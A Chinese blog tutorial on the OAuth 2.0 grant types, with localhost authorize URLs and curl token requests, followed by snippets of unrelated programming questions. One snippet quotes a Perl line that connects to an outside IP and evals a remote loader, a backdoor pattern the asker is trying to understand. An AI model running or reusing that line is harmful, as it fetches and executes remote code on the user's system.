- 使用 Spring Initializr 创建 Spring Boot 应用程序
- 在Spring Boot中配置Cassandra
- 在 Spring Boot 上配置 Tomcat 连接池
- 将Camel消息路由到嵌入WildFly的Artemis上
2012年10月,OAuth 2.0协议正式发布为RFC 6749。现在百度开放平台,腾讯开放平台等大部分的开放平台都是使用的OAuth 2.0协议作为支撑。
OAuth是一个开放标准,允许用户授权第三方应用访问他们存储在另外的服务提供者上的信息,而不需要将用户名和密码提供给第三方移动应用或分享他们数据的所有内容。
在OAuth 2.0的认证和授权的过程中主要包括以下角色定义:
Resource owner: 资源所有者(通常指用户或者提供资源服务的平台)
Resource server:资源服务器(托管受保护资源的服务器)
Client:客户端(浏览器、APP)
Authorization server:授权服务器(颁发访问令牌、验证令牌、刷新令牌)
交互过程
OAuth 在 “客户端” 与 “服务提供商” 之间,设置了一个授权层(authorization layer)。“客户端” 不能直接登录 “服务提供商”,只能登录授权层,以此将用户与客户端区分开来。“客户端” 登录授权层所用的令牌(token),与用户的密码不同。用户可以在登录的时候,指定授权层令牌的权限范围和有效期。“客户端” 登录授权层以后,“服务提供商” 根据令牌的权限范围和有效期,向 “客户端” 开放用户储存的资料。
腾讯会议,采用的是授权码模式,
手机扫一扫后,会显示腾讯会议需要申请的授权信息
密码模式(resource owner password credentials)
这种模式是最不推荐的,因为 client 可能存了用户密码
这种模式主要用来做遗留项目升级为 oauth2 的适配方案
当然如果 client 是自家的应用(比如某公司网站下面有好多个子系统这些子系统都是自己公司的),也是可以
支持 refresh token
授权码模式(authorization code)
这种模式算是正宗的 oauth2 的授权模式
设计了 auth code,通过这个 code 再获取 token
支持 refresh token(判断token过期刷新token)
简化模式(implicit)
这种模式比授权码模式少了 code 环节,回调 url 直接携带 token
这种模式的使用场景是基于浏览器的应用
这种模式基于安全性考虑,建议把 token 时效设置短一些
不支持 refresh token(过期后从新拿新的token)
客户端模式(client credentials)
这种模式直接根据 client 的 id 和密钥即可获取 token,无需用户参与
这种模式比较合适消费 api 的后端服务,比如拉取一组用户信息等
不支持 refresh token,主要是没有必要,refresh token 的初衷主要是为了用户体验不想用户重复输入账号密码来换取新 token,因而设计了 refresh token 用于换取新 token,这种模式由于没有用户参与,而且也不需要用户账号密码,仅仅根据自己的 id 和密钥就可以换取新 token,因而没必要 refresh token
使用场景:授权码模式是Oauth2协议里最安全的一种模式(微信、微博第三方登录都是基于该模式),如果上面照片服务和打印服务隶属于不同公司,并且打印服务有自己的服务器。那么在这种情景下,必须要用授权码模式保证资源的安全.
它的主要流程是:
1、客户端需要先向授权服务器请求授权码code,请求的格式如下
http://localhost:8080/oauth/authorize?client_id=testClient&redirect_uri=http://localhost:8080/callback&response_type=code&scope=read_userInfo&state=x1f2xs
2、客户端拿到授权码之后,去向授权服务器请求以获取到访问令牌token,请求格式如下:
curl -X POST --user testClient:testSecret http://localhost:8080/oauth/token
-H 'content-type:application/x-www-form-urlencoded'
-d "code=QvjUaf&grant_type=authorization_code&redirect_uri=http://localhost:8080/callback&scope=read_userInfo"
3、拿到token后,携带token放入请求体中,客户端就可以请求指定的api进行资源访问,请求格式如下:
curl -H 'Authorization:Bearer LIYcLu400YNX5CzJpZ39XG7J9kw' -X GET http://localhost:8080/api/xxx
授权码模式主要涉及到code和token的获取,只有获取到token后才有权限访问资源。code是通过前端的方式传递的,但是就算code被截获,由于token是在服务器中完成请求的,一般ClientSecret是不会泄露的,并且获取token还需state验证(state会和会话进行绑定),因此token泄露的风险极小,所以推荐使用这种模式来颁发token。
使用场景:由于并不是所有的客户端都有服务器支持,假如打印服务是个spa应用(就是只有一张Web页面的应用),那么授权码模式很显然并不适用,因此Oauth2还提供了隐含模式来处理这种情况。当然很多web程序的单点登录流程也是使用的这种模式然后进行扩展
它的主要流程如下:
1、客户端向授权服务器直接请求获取token,请求格式如下:
http://localhost:8080/oauth/authorize?client_id=testClient&redirect_uri=http://localhost:8080/callback&response_type=token&scope=read_userInfo
2、拿到token后请求资源服务器
curl -H 'Authorization:Bearer LIYcLu400YNX5CzJpZ39XG7J9kw' -X GET http://localhost:8080/api/xxx
使用场景:如果照片服务和打印服务同属一个公司,那么可能不需要很严格的安全防范。因此Oauth2还提供了密码模式来颁发token`,主要流程如下:
1、客户端向授权服务器直接请求获取token,请求格式如下:
curl -X POST http://localhost:8080/oauth/token
-H 'content-type:application/x-www-form-urlencoded'
-d '{ "client_id":"abcnsd1xxc","password":123,"username":"joe","scope": "read_userInfo"}'
2、拿到token后请求资源服务器
curl -H 'Authorization:Bearer LIYcLu400YNX5CzJpZ39XG7J9kw' -X GET http://localhost:8080/api/user/info
使用场景:单纯机器和机器之间的交互,和用户并没有交互关系。那么客户端可能只需要向授权服务器注册好凭证保存下来就可以进行认证,简单来说就是密码模式的基础上去掉了密码。针对这种情况,Oauth2通过客户端凭证的方式来颁发token,主要流程如下:
curl -X POST http://localhost:8080/oauth/token
-H 'content-type:application/x-www-form-urlencoded'
-d '{ "client_id":"abcnsd1xxc","scope": "read_userInfo"}'
2、拿到token后请求资源服务器
curl -H 'Authorization:Bearer LIYcLu400YNX5CzJpZ39XG7J9kw' -X GET http://localhost:8080/api/user/info
如果令牌到期了那么有两种更新令牌的方式:
如果安全性比较高的话,可以使用拿老的换新的,否则就使用刷新令牌过期时间,具体细节可以根据场景进行定制化开放
点赞 -收藏-关注-便于以后复习和收到最新内容有其他问题在评论区讨论-或者私信我-收到会在第一时间回复如有侵权,请私信联系我感谢,配合,希望我的努力对你有帮助^_^
我试图理解 (>>=).(>>=) ,GHCi 告诉我的是: (>>=) :: Monad m => m a -> (a -> m b) -> m b (>>=).(>>=) :: Mon
关于此 Java 代码,我有以下问题: public static void main(String[] args) { int A = 12, B = 24; int x = A,
对于这个社区来说,这可能是一个愚蠢的基本问题,但如果有人能向我解释一下,我会非常满意,我对此感到非常困惑。我在网上找到了这个教程,这是一个例子。 function sports (x){
def counting_sort(array, maxval): """in-place counting sort""" m = maxval + 1 count = [0
我有一些排序算法的集合,我想弄清楚它究竟是如何运作的。 我对一些说明有些困惑,特别是 cmp 和 jle 说明,所以我正在寻求帮助。此程序集对包含三个元素的数组进行排序。 0.00 :
阅读 PHP.net 文档时,我偶然发现了一个扭曲了我理解 $this 的方式的问题: class C { public function speak_child() { //
关闭。这个问题不满足Stack Overflow guidelines .它目前不接受答案。 想改善这个问题吗?更新问题,使其成为 on-topic对于堆栈溢出。 7年前关闭。 Improve thi
我有几个关于 pragmas 的相关问题.让我开始这一系列问题的原因是试图确定是否可以禁用某些警告而不用一直到 no worries。 (我还是想担心,至少有点担心!)。我仍然对那个特定问题的答案感兴
我正在尝试构建 CNN使用 Torch 7 .我对 Lua 很陌生.我试图关注这个 link .我遇到了一个叫做 setmetatable 的东西在以下代码块中: setmetatable(train
我有这段代码 use lib do{eval&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"}; 这似乎导入了一个库,但
我有以下代码,它给出了 [2,4,6] : j :: [Int] j = ((\f x -> map x) (\y -> y + 3) (\z -> 2*z)) [1,2,3] 为什么?似乎只使用了“
我刚刚使用 Richard Bird 的书学习 Haskell 和函数式编程,并遇到了 (.) 函数的类型签名。即 (.) :: (b -> c) -> (a -> b) -> (a -> c) 和相
我遇到了andThen ,但没有正确理解它。 为了进一步了解它,我阅读了 Function1.andThen文档 def andThen[A](g: (R) ⇒ A): (T1) ⇒ A mm是 Mu
这是一个代码,用作 XMLHttpRequest 的 URL 的附加内容。URL 中显示的内容是: http://something/something.aspx?QueryString_from_b
考虑以下我从 https://stackoverflow.com/a/28250704/460084 获取的代码 function getExample() { var a = promise
将 list1::: list2 运算符应用于两个列表是否相当于将 list1 的所有内容附加到 list2 ? scala> val a = List(1,2,3) a: List[Int] = L
在python中我会写: {a:0 for a in range(5)} 得到 {0: 0, 1: 0, 2: 0, 3: 0, 4: 0} 我怎样才能在 Dart 中达到同样的效果? 到目前为止,我
关闭。这个问题需要多问focused 。目前不接受答案。 想要改进此问题吗?更新问题,使其仅关注一个问题 editing this post . 已关闭 5 年前。 Improve this ques
我有以下 make 文件: CC = gcc CCDEPMODE = depmode=gcc3 CFLAGS = -g -O2 -W -Wall -Wno-unused -Wno-multichar
有人可以帮助或指导我如何理解以下实现中的 fmap 函数吗? data Rose a = a :> [Rose a] deriving (Eq, Show) instance Functor Rose
我是一名优秀的程序员,十分优秀!